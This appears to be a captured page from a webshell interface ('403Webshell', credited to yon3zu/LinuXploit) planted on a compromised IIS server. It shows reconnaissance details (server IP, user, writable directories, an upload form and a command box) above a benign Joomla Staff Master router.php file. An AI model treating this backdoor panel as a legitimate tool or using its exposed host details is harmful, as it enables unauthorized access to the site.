403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/components/com_staffmaster/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/components/com_staffmaster/router.php
<?php
/**
 * File: router.php
 *
 * Staff Master 0_7_5_5
 *
 * Staff Master - Staff Members and Departments Manager
 *
 * @version 0.7.5.5
 * @package StaffMaster_0_7_5_5
 * @subpackage: frontend
 * @copyright (C) 2007-2008 Travis Hubbard
 * @license http://www.gnu.org/licenses/  GNU/GPL v3
 * @link http://www.systemsunited.net/
 **/
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
 * When passed URI parameters, rebuilds Route to correct SEF links
 *
 * @param  array 	&$query
 * @return array 	returns URI segments via $segments
 */
function StaffMasterBuildRoute(&$query)  {

	$segments = array();

	if(isset($query['view']))  {

		$segments[] = $query['view'];

		unset($query['view']);

	}

	if(isset($query['name']))  {

		$segments[] = $query['name'];

		unset($query['name']);

	}

	return $segments;

}
/**
 * Receives URI parameters, parses them into the correct SEF links
 *
 * @param array 	$segments
 * @return array 	returns parsed variables for Joomla to handle SEF and controller
 */
function StaffMasterParseRoute($segments)  {

	$vars = array();

	$vars['view'] = $segments[0];

	if( count( $segments ) > 1 )  {

		$vars['name'] = $segments[1];

	}

	return $vars;

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit